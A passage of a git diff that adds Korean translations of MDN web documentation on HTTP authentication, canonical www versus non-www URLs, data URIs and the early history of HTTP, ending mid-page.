diff options
Diffstat (limited to 'files/ko/web/http')
127 files changed, 12668 insertions, 0 deletions
diff --git a/files/ko/web/http/authentication/index.html b/files/ko/web/http/authentication/index.html new file mode 100644 index 0000000000..0656c6ecf2 --- /dev/null +++ b/files/ko/web/http/authentication/index.html @@ -0,0 +1,111 @@ +--- +title: HTTP 인증 +slug: Web/HTTP/Authentication +translation_of: Web/HTTP/Authentication +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">HTTP는 액세스 제어와 인증을 위한 프레임워크를 제공합니다. 가장 일반적인 인증 방식은 "Basic" 인증 방식입니다. 이 페이지에서는 일반적인 HTTP 인증 프레임워크를 소개하고 서버에 HTTP의 Basic 인증 방식으로 접근을 제한하는 것을 보여 줍니다.</p> + +<h2 id="일반적인_HTTP_인증_프레임워크">일반적인 HTTP 인증 프레임워크</h2> + +<p>{{RFC("7235")}}는 서버에 의해 클라이언트 요청을 시도({{glossary("challenge")}})하고, 클라이언트에 의해 인증 정보를 제공하기 위해 사용될 수 있는 HTTP 인증 프레임워크를 정의합니다. 이러한 시도와 응답 과정은 다음과 같이 작동합니다. 서버는 클라이언트에게 {{HTTPStatus("401")}} (Unauthorized) 응답 코드를 가지고 응답하며, 최소한 한 번의 시도에 포함된 {{HTTPHeader("WWW-Authenticate")}} 응답 헤더로 권한을 부여하는 방법에 대한 정보를 제공합니다. 서버와 인증을 하기를 원하는 클라이언트는 {{HTTPHeader("Authorization")}} 요청 헤더 필드에 인증 정보를 포함함으로써 인증을 수행할 수 있습니다. 클라이언트는 대개 사용자에게 비밀번호 프롬프트를 표시할 것이고 정확한 <code>Authorization</code> 헤더를 포함하는 요청을 만들 것입니다.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;"></p> + +<p>그림에서 보는 것과 같이 "Basic" 인증의 경우, 교환은 안전을 위해 HTTPS (TLS) 연결 위에서 <strong>발생하여야 합니다</strong>.</p> + +<h3 id="프록시_인증">프록시 인증</h3> + +<p>동일한 시도 및 응답 메커니즘이 프록시 인증을 위해서도 사용될 수 있습니다. 이 경우, 이것은 인증을 요구하는 중간 프록시입니다. 리소스 인증 및 프록시 인증은 함께 존재할 수 있기 때문에, 헤더와 상태 코드의 다른 세트가 필요합니다. 프록시의 경우, 요청에 대한 상태 코드는 {{HTTPStatus("407")}} (Proxy Authentication Required)이고, {{HTTPHeader("Proxy-Authenticate")}} 응답 헤더는 프록시에 적용 가능한 최소한 하나의 요청을 포함하며, 그리고 {{HTTPHeader("Proxy-Authorization")}} 요청 헤더는 프록시 서버에 인증 정보를 제공하기 위해 사용됩니다.</p> + +<h3 id="접근_거부">접근 거부</h3> + +<p>(프록시) 서버가 주어진 리소스에 대한 접근 권한을 얻기 위해 적절하지 않은 유효한 인증 정보를 수신한다면, 서버는 {{HTTPStatus("403")}} <code>Forbidden</code> 상태 코드로 응답하여야 합니다. {{HTTPStatus("401")}} <code>Unauthorized</code>나 {{HTTPStatus("407")}} <code>Proxy Authentication Required</code>와는 다르게, 해당 사용자에 대한 인증은 불가능합니다.</p> + +<h3 id="WWW-Authenticate와_Proxy-Authenticate_헤더"><code>WWW-Authenticate</code>와 <code>Proxy-Authenticate</code> 헤더</h3> + +<p>{{HTTPHeader("WWW-Authenticate")}}와 {{HTTPHeader("Proxy-Authenticate")}} 응답 헤더는 자원에 대한 액세스를 얻기 위해 사용되어야 할 인증 방법을 정의합니다. 이들은 인증을 하려는 클라이언트가 인증 정보를 제공할 방법을 알기 위해, 어떤 인증 스킴이 사용될 것인지를 구체적으로 적을 필요가 있습니다. 이들 헤더의 문법은 다음과 같습니다.</p> + +<pre class="syntaxbox">WWW-Authenticate: <type> realm=<realm> +Proxy-Authenticate: <type> realm=<realm> +</pre> + +<p>여기서, <code><type></code>은 인증 스킴입니다("Basic"은 가장 일반적인 스킴이며 <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/Authentication#Basic_%EC%9D%B8%EC%A6%9D_%EC%8A%A4%ED%82%B4">아래에 소개되어 있습니다</a>). <em>realm</em>은 보호되는 영역을 설명하거나 보호의 범위를 알리는데 사용됩니다. 이는 어떤 공간에 사용자가 접근하려고 시도하는지를 알리기 위하여, "중간 단계의 사이트에 대한 접근"과 같거나 또는 비슷한 메시지가 될 수 있습니다.</p> + +<h3 id="Authorization와_Proxy-Authorization_헤더"><code>Authorization</code>와 <code>Proxy-Authorization</code> 헤더</h3> + +<p>{{HTTPHeader("Authorization")}}와 {{HTTPHeader("Proxy-Authorization")}} 요청 헤더는 사용자 에이전트가 (프록시) 서버에 인증을 하기 위한 인증 정보를 포함합니다. 여기에서 type은 다시 한 번 필요하며 credentials이 뒤에 따라옵니다. credentials 부분은 어떤 인증 스킴이 사용되는지에 따라 인코딩이 되어 있거나 암호화가 되어 있을 수 있습니다.</p> + +<pre class="syntaxbox">Authorization: <type> <credentials> +Proxy-Authorization: <type> <credentials> +</pre> + +<h3 id="인증_스킴">인증 스킴</h3> + +<p>일반적인 HTTP 인증 프레임워크는 여러 인증 스킴에 의해 사용됩니다. 스킴은 보안 강도와 클라이언트 또는 서버 소프트웨어에서 사용 가능성에 따라 달라질 수 있습니다.</p> + +<p>가장 일반적인 인증 스킴은 아래에서 좀 더 자세하게 소개할 "Basic" 인증 스킴입니다. IANA는 <a href="http://www.iana.org/assignments/http-authschemes/http-authschemes.xhtml">인증 스킴의 목록</a>을 유지하고 있으나, Amazon AWS와 같은 호스트 서비스에 의해 제공되는 다른 스킴도 존재합니다. 일반적인 인증 스킴은 아래를 포함합니다.</p> + +<ul> + <li><strong>Basic</strong> ({{rfc(7617)}}를 보십시오. base64-encoded credentials. 더 많은 정보는 아래를 확인하십시오.),</li> + <li><strong>Bearer</strong> ({{rfc(6750)}}를 보십시오. bearer tokens to access OAuth 2.0-protected resources),</li> + <li><strong>Digest</strong> ({{rfc(7616)}}를 보십시오. Firefox에서는 md5 해싱만 지원합니다. SHA 암호화 지원을 위하여 {{bug(472823)}}을 확인하십시오.),</li> + <li><strong>HOBA</strong> ({{rfc(7486)}} (draft)를 보십시오. <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based),</li> + <li><strong>Mutual</strong> (<a href="https://tools.ietf.org/html/draft-ietf-httpauth-mutual-11">draft-ietf-httpauth-mutual</a>를 참조하십시오),</li> + <li> + <p><strong>AWS4-HMAC-SHA256</strong> (<a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs를 참조하십시오</a>).</p> + </li> +</ul> + +<h2 id="Basic_인증_스킴">Basic 인증 스킴</h2> + +<p>"Basic" HTTP 인증 스킴은 {{rfc(7617)}}에 정의되어 있는데, 이는 base64를 이용하여 인코딩된 사용자 ID/비밀번호 쌍의 인증 정보를 전달합니다.</p> + +<h3 id="Basic_인증의_보안">Basic 인증의 보안</h3> + +<p>사용자 ID와 비밀번호가 평문으로 네트워크를 통해 전달되기 때문에 (이것은 base64로 인코딩 되어 있으나, base64는 복호화가 가능한 인코딩이므로), Basic 인증 스킴은 안전하지 않습니다. HTTPS / TLS는 basic 인증과 함께 사용되어야 합니다. 이러한 추가적인 보안상의 향상이 없이는, basic 인증은 민감하거나 귀중한 정보를 보호하는 데 사용되어서는 안 됩니다.</p> + +<h3 id="Apache와_Basic_인증으로_접근_제한하기">Apache와 Basic 인증으로 접근 제한하기</h3> + +<p>Apache 서버에서 디렉터리를 비밀번호로 보호하기 위해서는, <code>.htaccess</code>와 <code>.htpasswd</code> 파일이 필요할 것입니다.</p> + +<p><code>.htaccess</code> 파일은 일반적으로 이렇게 생겼습니다.</p> + +<pre>AuthType Basic +AuthName "Access to the staging site" +AuthUserFile /path/to/.htpasswd +Require valid-user</pre> + +<p><code>.htaccess</code> 각각의 줄이 콜론(":")으로 나뉘어져 있는 사용자 이름과 비밀번호를 포함하는 <code>.htpasswd</code> 파일을 참조합니다. 여러분은 그들이 <a href="https://httpd.apache.org/docs/2.4/misc/password_encryptions.html">암호화</a>되어 있기 때문에 (이 경우에서는 md5) 실제 비밀번호를 보지 못할 수도 있습니다. 여러분이 원한다면 <code>.htpasswd</code> 파일의 이름을 바꿀 수 있지만, 이 파일은 누구에게도 접근 가능해서는 안 됨을 유의하십시오. (Apache는 일반적으로 <code>.ht*</code> 파일에 대한 접근을 제한하도록 설정되어 있습니다)</p> + +<pre>aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz. +user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/ +</pre> + +<h3 id="nginx와_Basic_인증으로_접근_제한하기">nginx와 Basic 인증으로 접근 제한하기</h3> + +<p>nginx에서 여러분은 보호하려는 위치와 비밀번호로 보호될 영역의 이름을 나타내는 <code>auth_basic</code> 명령어를 적어줄 필요가 있습니다. 위의 Apache 예제에 있는 것과 같이, <code>auth_basic_user_file</code> 명령어는 암호화된 사용자 인증 정보를 가지고 있는 .htpasswd 파일을 가리킵니다.</p> + +<pre>location /status { + auth_basic "Access to the staging site"; + auth_basic_user_file /etc/apache2/.htpasswd; +}</pre> + +<h3 id="URL에_인증_정보를_사용하여_접근하기">URL에 인증 정보를 사용하여 접근하기</h3> + +<p>또한 많은 클라이언트들은 아래와 같이 사용자 이름과 비밀번호를 포함하는 인코딩된 URL을 사용하여 로그인 프롬프트를 피하게 합니다.</p> + +<pre class="example-bad">https://username:password@www.example.com/</pre> + +<p><strong>이러한 방식의 URL은 더 이상 사용되지 않습니다</strong>. Chrome에서, URL의 <code>username:password@</code> 부분은 보안 상의 이유로 <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=82250#c7">제거</a>됩니다. Firefox에서는, 해당 사이트가 진짜로 인증이 필요한지를 체크하며, 그렇지 않으면 Firefox는 프롬프트로 "You are about to log in to the site “www.example.com” with the username “username”, but the website does not require authentication. This may be an attempt to trick you."와 같이 경고합니다.</p> + +<h2 id="함께_보기">함께 보기</h2> + +<ul> + <li>{{HTTPHeader("WWW-Authenticate")}}</li> + <li>{{HTTPHeader("Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authorization")}}</li> + <li>{{HTTPHeader("Proxy-Authenticate")}}</li> + <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li> +</ul> diff --git a/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html b/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html new file mode 100644 index 0000000000..a229425432 --- /dev/null +++ b/files/ko/web/http/basics_of_http/choosing_between_www_and_non-www_urls/index.html @@ -0,0 +1,65 @@ +--- +title: www와 비-www URL 중에서 선택하기 +slug: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +translation_of: Web/HTTP/Basics_of_HTTP/Choosing_between_www_and_non-www_URLs +--- +<div>{{HTTPSidebar}}</div> + +<p class="summary">웹 사이트 소유자들이 반복해서 하게 되는 질문은 비-www 혹은 www URL 중 무엇을 선택해야 하는가입니다. 이 페이지는 그에 대해 최선의 결론을 내기 위한 조언을 제공합니다.</p> + +<h2 id="도메인_이름이란_무엇인가요">도메인 이름이란 무엇인가요?</h2> + +<p>HTTP URL에서, 앞 부분의 <code>http://</code> or <code>https://</code> 다음에 오는 첫번째 하위 문자열을 도메인이라 부릅니다. 그것은 문서가 위치하고 있는 서버의 이름입니다.</p> + +<p>서버는 꼭 물리적인 하드웨어일 필요는 없습니다: 몇몇 서버들은 같은 물리적 하드웨어 위에 함께 위치할 수 있습니다. 혹은, 한 개의 서버가 여러 하드웨어들에 의해 처리되어, 결과를 만들어내는데 동조하거나 그들 사이에서 요청에 대한 로드를 균형있게 조정할 수도 있습니다. 요점은 의미적으로 <em>하나의 도메인 이름이 하나의 단일 서버를 나타낸다</em>는 것입니다.</p> + +<h2 id="그래서_내_사이트_웹에_대해_하나_또는_다른_것을_선택해야만_하나요">그래서, 내 사이트 웹에 대해 하나 또는 다른 것을 선택해야만 하나요?</h2> + +<ul> + <li><u>그렇습니다</u>, 하나를 선택하고 그것과 함께 결속될 필요가 있습니다. 당신의 표준 위치로 할 것을 선택하는 것은 당신의 몫이며, 한 가지를 선택하는 경우 그것과 결속되게 됩니다. 그것은 당신의 웹 사이트를 당신의 사용자 그리고 검색 엔진에게 있어 좀 더 일관되게 보이도록 만들어줄 것입니다. 이것은 선택된 도메인에 대해 항상 링크되는 것(당신의 웹 사이트에서 상대 URL을 사용하고 있는 경우 어렵지 않아야 함)과 동일한 도메인에 대한 링크를 (이메일이나 소셜 네트워크 등에 의해) 항상 공유하는 것을 포함합니다.</li> + <li><u>그렇지 않습니다</u>, 두 가지 모두를 가질 수는 없습니다. 중요한 것은 당신이 공식 도메인을 이용해 결속되어 있고 일관되다는 것입니다. <strong>이 공식 도메인을 <em>표준</em> 이름이라고 부릅니다. </strong>당신의 모든 절대 링크는 그 이름을 사용해야 합니다. 그러나 그럼에도, 당신은 여전히 동작하는 다른 도메인을 가질 수 있습니다: HTTP는 두 가지 기술을 허용하므로 비표준 도메인이 동작하고 예상되는 페이지를 제공하도록 허용되고 있는 동안에도 도메인이 표준 도메인인 당신의 사용자 혹은 검색 엔진에게 있어서 명확할 것입니다.</li> +</ul> + +<p>그러므로, 당신의 도메인 중 하나를 당신의 표준 도메인으로 선택하세요! 표준 도메인이 아닌 도메인을 여전히 동작하도록 만들기 위한 두 가지 기술을 아래에 소개합니다.</p> + +<h2 id="표준_URLs을_위한_기술들">표준 URLs을 위한 기술들</h2> + +<p><em>표준</em> 웹 사이트를 선택하기 위한 서로 다른 방법들이 있습니다.</p> + +<h3 id="HTTP_301_리다이렉트_사용하기">HTTP 301 리다이렉트 사용하기</h3> + +<p>이 경우에, 비표준 도메인에 대한 알맞은 HTTP {{HTTPStatus(301)}}로 응답하기 위해 서버가 (www 그리고 비(非)-www URL에 대해 거의 동일해보이는) HTTP 요청을 받도록 구성해야 할 필요가 있습니다. 이것은 표준 URL과 동등한 비표준 URL에 접근하도록 브라우저를 리다이렉트시킬 겁니다. 예를 들어, 비-www URLs을 표준 타입으로 사용하도록 선택했다면, 모든 www URL들은 그와 동등한 www가 없는 URL로 리다이렉트되게 됩니다.</p> + +<p>예:</p> + +<ol> + <li>서버가 <code>http://www.example.org/whaddup</code> 에 대한 요청을 받습니다(표준 도메인이 example.org인 경우).</li> + <li>서버는 헤더인 {{HTTPHeader("Location<code>")}}: http://example.org/whaddup</code> 와 함께 {{HTTPStatus(301)}} 코드로 응답하게 됩니다.</li> + <li>클라이언트는 표준 도메인(<code>http://example.org/whatddup)</code>에 대한 요청을 발급합니다.</li> +</ol> + +<p><a href="https://github.com/h5bp/html5-boilerplate">HTML5 보일러플레이트 프로젝트</a>는 <a href="https://github.com/h5bp/html5-boilerplate/blob/7a22a33d4041c479d0962499e853501073811887/.htaccess#L219-L258">하나의 도메인을 다른 도메인으로 리다이렉티시키도록 Apache 서버 구성하는 방법</a>에 대한 예제를 가지고 있습니다.</p> + +<h3 id="<link_relcanonical>_사용하기"><em><code><link rel="canonical"></code> </em>사용하기</h3> + +<p>페이지의 정규 주소가 무엇인지를 가리키기 위해 페이지에 특별한 HTML {{HTMLElement("link")}} 엘리먼트를 추가하는 것이 가능합니다. 이것은 페이지를 보는 사람에게는 별 다른 영향이 없지만 검색 엔진 크롤러에게 페이지가 실제로 위치한 곳을 알려줍니다. 그렇게 하면 검색 엔진이 동일한 페이지를 여러 번 색인하지 않으므로, 중복 컨텐츠 혹은 어떤 종류의 스팸으로 간주하게 될 수도 있고 심지어 검색 엔진 결과 페이지에서 당신의 페이지를 제거하거나 우선순위가 낮아질 수도 있습니다.</p> + +<p>그런 태그를 추가하게 되면, 두 가지 도메인에 대해 같은 내용을 서브하며 어떤 URL이 표준인지를 검색 엔진에게 알려주게 됩니다. 이전 예제에서, <code>http://www.example.org/whaddup</code> 는 <code>http://example.org/whaddup</code>와 동일한 내용을 서브하지만 head 내 추가적인 {{htmlelement("link")}} 요소가 자리하고 있을 겁니다:</p> + +<p><code><link href="http://example.org/whaddup" rel="canonical"></code></p> + +<p>이전 경우와 다르게, 브라우저 기록은 비-www와 www URL들을 개별적인 엔트리로 판단할 겁니다.</p> + +<h2 id="당신의_페이지가_두_가지_경우_모두에_동작하도록_만드세요">당신의 페이지가 두 가지 경우 모두에 동작하도록 만드세요</h2> + +<p>앞서 말한 기술들을 가지고, 당신은 당신의 서버가 www가 접두화된 도메인과 그렇지 않은 도메인 모두에 정확하게 응답하도록 구성할 수 있습니다. 이것은 브라우저의 URL 표시줄에 사용자가 어떤 URL을 타이프할지 예상할 수가 없기에 좋은 조언입니다. 정식 위치로 사용할 타입을 선택한 다음 다른 타입으로 리다이렉션하는 것이 중요합니다.</p> + +<h2 id="결정하기">결정하기</h2> + +<p class="entry-title">이것은 <a href="http://bikeshed.com/">bikeshedding</a> 이슈로 간주될 수도 있는 주관적인 주제입니다. 더 자세한 정보를 얻으려면, <a href="http://www.hyperarts.com/blog/www-vs-non-www-for-your-canonical-domain-url-which-is-best-and-why/">당신의 표준 도메인 URL을 위한 WWW vs non-WWW – 어떤 것이 최선이고 왜 그러한가?</a>를 읽어보시기 바랍니다. 더 많은 정보를 얻을 수 있습니다.</p> + +<h2 id="함께_참고할_내용들">함께 참고할 내용들</h2> + +<ul> + <li><a href="http://www.chrisfinke.com/2011/07/25/what-do-people-type-in-the-address-bar/">URL 바에서 사람들이 타이프하는 것들의 현황</a> (2011)</li> +</ul> diff --git a/files/ko/web/http/basics_of_http/data_uris/index.html b/files/ko/web/http/basics_of_http/data_uris/index.html new file mode 100644 index 0000000000..60aec88903 --- /dev/null +++ b/files/ko/web/http/basics_of_http/data_uris/index.html @@ -0,0 +1,162 @@ +--- +title: Data URIs +slug: Web/HTTP/Basics_of_HTTP/Data_URIs +translation_of: Web/HTTP/Basics_of_HTTP/Data_URIs +--- +<div>{{HTTPSidebar}}</div> + +<p><strong>Data URIs</strong>, 즉 <code>data:</code> 스킴이 접두어로 붙은 URL은 컨텐츠 작성자가 작은 파일을 문서 내에 인라인으로 임베드할 수 있도록 해줍니다.</p> + +<h2 id="구문">구문</h2> + +<p>Data URIs는 네 가지 파트로 구성됩니다: 접두사(<code>data:</code>), 데이터의 타입을 가리키는 MIME 타입, 텍스트가 아닌 경우 사용될 부가적인 <code>base64</code> 토큰 그리고 데이터 자체:</p> + +<pre class="syntaxbox">data:[<mediatype>][;base64],<data> +</pre> + +<p><code>mediatype</code>이란, MIME 타입을 말합니다(JPEG 이미지의 경우 <code>'image/jpeg'</code>). 만약 생략된다면, 기본 값으로 <code>text/plain;charset=US-ASCII</code>이 사용됩니다.<code> </code></p> + +<p>데이터가 텍스트인 경우, 단순히 텍스트를 (포함된 문서 유형에 따라 적합한 엔티티 혹은 이스케이프를 사용하여) 임베드할 수 있습니다. 그게 아니라면, base64로 인코딩된 이진 데이터를 임베드하기 위해 <code>base64</code>를 지정할 수 있습니다.</p> + +<p>몇 가지 예제:</p> + +<dl> + <dt><code>data:,Hello%2C%20World!</code></dt> + <dd>간단한 text/plain 데이터</dd> + <dt><code>data:text/plain;base64,SGVsbG8sIFdvcmxkIQ%3D%3D</code></dt> + <dd>위 예제의 base64 인코딩 버전</dd> + <dt><code>data:text/html,%3Ch1%3EHello%2C%20World!%3C%2Fh1%3E</code></dt> + <dd><code><h1>Hello, World!</h1>인 HTML 문서</code></dd> + <dt><code>data:text/html,<script>alert('hi');</script></code></dt> + <dd>자바스크립트 얼럿을 실행하는 HTML 문서입니다. 닫기 스크립트 태그가 필요하다는 것을 기억하세요.</dd> +</dl> + +<h2 id="base64_포맷으로_데이터_인코딩하기">base64 포맷으로 데이터 인코딩하기</h2> + +<p>리눅스와 Mac OS X 시스템의 명령줄에서 <code>uuencode</code> 유틸리티를 사용해 쉽게 인코딩할 수 있습니다:</p> + +<pre>uuencode -m infile remotename +</pre> + +<p><code>infile</code> 파라메터는 base64 포맷으로 인코딩하려는 파일의 이름이며, <code>remotename</code>는 파일에 대한 원격지 이름으로 <code>data</code> URLs내에서는 실제로 사용되지 않습니다.</p> + +<p>출력은 다음과 같은 내용일 겁니다:</p> + +<pre>begin-base64 664 test +YSBzbGlnaHRseSBsb25nZXIgdGVzdCBmb3IgdGV2ZXIK +==== +</pre> + +<p>Data URI는 초기 헤더줄 다음의 인코딩된 데이터를 사용하게 됩니다.</p> + +<h3 id="웹_페이지에서_JavaScript_사용하기">웹 페이지에서 JavaScript 사용하기</h3> + +<p>웹 API는 base64로 인코딩하거나 디코딩하기 위한 프리미티브를 가지고 있습니다: <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 인코딩과 디코딩</a>.</p> + +<h2 id="일반적인_문제점">일반적인 문제점</h2> + +<p>이 섹션에서는 <code>data</code> URIs를 만들고 사용할 때 일반적으로 발생하는 문제점들에 대해 설명합니다.</p> + +<dl> + <dt>구문</dt> + <dd><code>data</code> URIs를 위한 문법은 매우 간단하지만, "data" 세그먼트 앞에 콤마를 넣는 것을 쉽게 잊거나 데이터를 base64 포맷으로 부정확하게 인코딩하는 경우가 있습니다.</dd> + <dt>HTML 내에 포맷시키기</dt> + <dd><code>data</code> URI는 동봉된 문서의 너비에 비례할 가능성이 높은 파일 내에 파일을 제공하게 됩니다. URL로 <code>data</code>를 공백 문자(라인 피드, 탭 혹은 스페이스)을 사용해 포맷이 가능해야 하지만 <a class="external" href="http://bugzilla.mozilla.org/show_bug.cgi?id=73026#c12">base64 인코딩을 사용할 때</a> 일어나는 실질적인 문제가 있습니다.</dd> + <dt>길이 제한</dt> + <dd>파이어폭스는 기본적으로 길이 제한이 없는 <code>data</code> URIs를 지원하지만, 브라우저들은 데이터의 개별적인 최대 길이를 제공해야 할 의무가 없습니다. 예를 들어, 오페라 11 브라우저는 <code>data</code> URL을 65529 문자로 제한하는 65535 개의 character long으로 제한합니다(MIME 타입을 지정하지 않고 plain <code>data</code>를 사용한다면, 소스가 아닌 인코딩된 데이터의 길이는 65529자가 됩니다).</dd> + <dt>오류 처리의 부족</dt> + <dd>미디어 내의 유효하지 않은 파라메터들 또는 '<code>base64</code>'를 지정할 때 오타들은 무시되지만 오류가 발생하지는 않습니다.</dd> + <dt>쿼리 문자열에 대한 미지원 등</dt> + <dd> + <p>data URI의 data 일부는 불명확해서 데이터 URI를 이용해 쿼리 문자열(<code><url>?parameter-data</code> 문법을 이용한 페이지 특정의 파라메터)을 사용하려는 시도는 URI가 나타내는 데이터 내에 쿼리 문자열을 포함하게 됩니다. 예를 들어: </p> + + <pre>data:text/html,lots of text...<p><a name%3D"bottom">bottom</a>?arg=val +</pre> + + <p>이는 내용이 다음과 같은 HTML 리소스를 나타냅니다:</p> + + <pre class="eval">lots of text...<p><a name="bottom">bottom</a>?arg=val +</pre> + </dd> +</dl> + +<h2 id="명세서">명세서</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">명세</th> + <th scope="col">제목</th> + </tr> + <tr> + <td>{{RFC("2397")}}</td> + <td>The "data" URL scheme"</td> + </tr> + </tbody> +</table> + +<h2 id="브라우저_호환성">브라우저 호환성</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Edge</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>12<sup>[2]</sup></td> + <td>{{CompatIE(8)}}<sup>[1][2]</sup></td> + <td>7.20</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] IE8은 CSS 파일 내의 data URIs만 최대 32kB 크기 내에서 지원합니다.</p> + +<p>[2]IE9과 그 이후, 그리고 엣지를 포함한 버전은 CSS와 JS 파일 내 data URIs를 최대 크기 4GB내에서 지원하지만, HTML 파일 내에서는 지원하지 않습니다.</p> + +<h2 id="함께_참고할_내용">함께 참고할 내용</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding">Base64 인코딩과 디코딩</a></li> + <li>{{domxref("WindowBase64.atob","atob()")}}</li> + <li>{{domxref("WindowBase64.btoa","btoa()")}}</li> + <li><a href="/en-US/docs/Web/CSS/uri">CSS <code>url()</code></a></li> + <li><a href="/en-US/docs/URI">URI</a></li> +</ul> diff --git a/files/ko/web/http/basics_of_http/evolution_of_http/index.html b/files/ko/web/http/basics_of_http/evolution_of_http/index.html new file mode 100644 index 0000000000..827ca42f63 --- /dev/null +++ b/files/ko/web/http/basics_of_http/evolution_of_http/index.html @@ -0,0 +1,201 @@ +--- +title: HTTP의 진화 +slug: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +tags: + - HTTP + - HTTP 역사 + - 가이드 +translation_of: Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP +--- +<p>{{HTTPSidebar}}</p> + +<p><strong>HTTP</strong>는 월드 와이드 웹에 내재된 프로토콜입니다. Tim Berners-Lee에 의해 1989년부터 1991년에 발명된 HTTP는, 본래의 단순함의 대부분을 지키면서 확장성 위에서 만들어지도록, 많은 수정을 거쳐왔습니다. HTTP는 의사-신뢰도가 있는 실험실 환경에서 파일을 교환하는 프로토콜에서 높은 수준의 분석과 3D 내에서 이미지와 비디오를 실어나르는 현대 인터넷 정글로 진화해 왔습니다.</p> + +<h2 id="월드_와이드_웹의_발명">월드 와이드 웹의 발명</h2> + +<p>1989년 당시 제네바의 CERN에서 일하고 있던 Tim Berners-Lee는 인터넷 상의 하이퍼텍스트 시스템을 만들기 위한 제안을 작성했습니다. 초기에 <em>Mesh</em>라고 불리던 그것은 1990년에 구현 과정에서 <em>월드 와이드 웹</em>으로 이름을 바꿨습니다. 기존의 TCP 그리고 IP 프로토콜 상에서 만들어지면서 4개의 빌딩 블록으로 구성되었습니다:</p> + +<ul> + <li>하이퍼텍스트 문서를 표현하기 위한 텍스트 형식의 <em><a href="/en-US/docs/Web/HTML">하이퍼텍스트 마크업 언어</a></em> (HTML).</li> + <li>문서 같은 것을 교환하기 위한 간단한 프로토콜인 <em>하이퍼텍스트 전송 프로토콜 </em>(HTTP).</li> + <li>문서를 디스플레이(그리고 우발적으로 수정)하기 위한 클라이언트인 <em>월드 와이드 웹</em>(WorldWideWeb)이라고 불리는 첫번째 브라우저.</li> + <li>문서에 접근하도록 해주는, <em>httpd</em>의 초기 버전.</li> +</ul> + +<p>이 네 개의 빌드 블록은 1990년 말에 완료되었으며, 첫번째 서버는 1991년 초에 CERN 외부에서 가동을 시작했습니다. 1991년 9월 6일, <em>alt.hypertext</em> 공개 뉴스 그룹의 Tim Berners-Lee의 <a href="https://groups.google.com/forum/#!msg/alt.hypertext/eCTkkOoWTAY/urNMgHnS2gYJ">포스트</a>가 공개 프로젝트로써의 월드 와이드 웹의 공식적인 출발점으로 여겨집니다.</p> + +<p>이렇게 초기 단계에 사용되던 HTTP 프로토콜은 매우 간단했으며 이후 HTTP/0.9 버전을 부여했으며 때로는 원-라인 프로토콜로 불리기도 했습니다.</p> + +<h2 id="HTTP0.9_–_원-라인_프로토콜">HTTP/0.9 – 원-라인 프로토콜</h2> + +<p>HTTP 초기 버전에는 버전 번호가 없었습니다; HTTP/0.9는 이후에 차후 버전과 구별하기 위해 0.9로 불리게 됐습니다. HTTP/0.9는 극히 단순합니다: 요청은 단일 라인으로 구성되며 리소스에 대한 (프로토콜, 서버 그리고 포트는 서버가 연결되고 나면 불필요로 하므로 URL은 아닌) 경로로 가능한 메서드는 {{HTTPMethod("GET")}}이 유일했습니다.</p> + +<pre>GET /mypage.html</pre> + +<p>응답 또한 극도로 단순합니다: 오로지 파일 내용 자체로 구성됩니다.</p> + +<pre><HTML> +A very simple HTML page +</HTML></pre> + +<p>그 이후에 진화와는 다르게, HTTP 헤더가 없었는데 이는 HTML 파일만 전송될 수 있으며 다른 유형의 문서는 전송될 수 없음을 의미합니다. 상태 혹은 오류 코드도 없었습니다: 문제가 발생한 경우, 특정 HTML 파일이 사람이 처리할 수 있도록, 해당 파일 내부에 문제에 대한 설명과 함께 되돌려 보내졌었습니다.</p> + +<h2 id="HTTP1.0_–_확장성_만들기">HTTP/1.0 – 확장성 만들기</h2> + +<p>HTTP/0.9는 매우 제한적이었으며 브라우저와 서버 모두 좀 더 융통성을 가지도록 빠르게 확장되었습니다:</p> + +<ul> + <li>버전 정보가 각 요청 사이내로 전송되기 시작했습니다. (<code>HTTP/1.0</code> 이 <code>GET</code> 라인에 붙은 형태로)</li> + <li>상태 코드 라인 또한 응답의 시작 부분에 붙어 전송되어, 브라우저가 요청에 대한 성공과 실패를 알 수 있고 그 결과에 대한 동작(특정 방법으로 그것의 로컬 캐시를 갱신하거나 사용하는 것과 같은)을 할 수 있게 되었습니다.</li> + <li>HTTP 헤더 개념은 요청과 응답 모두를 위해 도입되어, 메타데이터 전송을 허용하고 프로토콜을 극도로 유연하고 확장 가능하도록 만들어주었습니다.</li> + <li>새로운 HTTP 헤더의 도움으로, 평이한 HTML 파일들 외에 다른 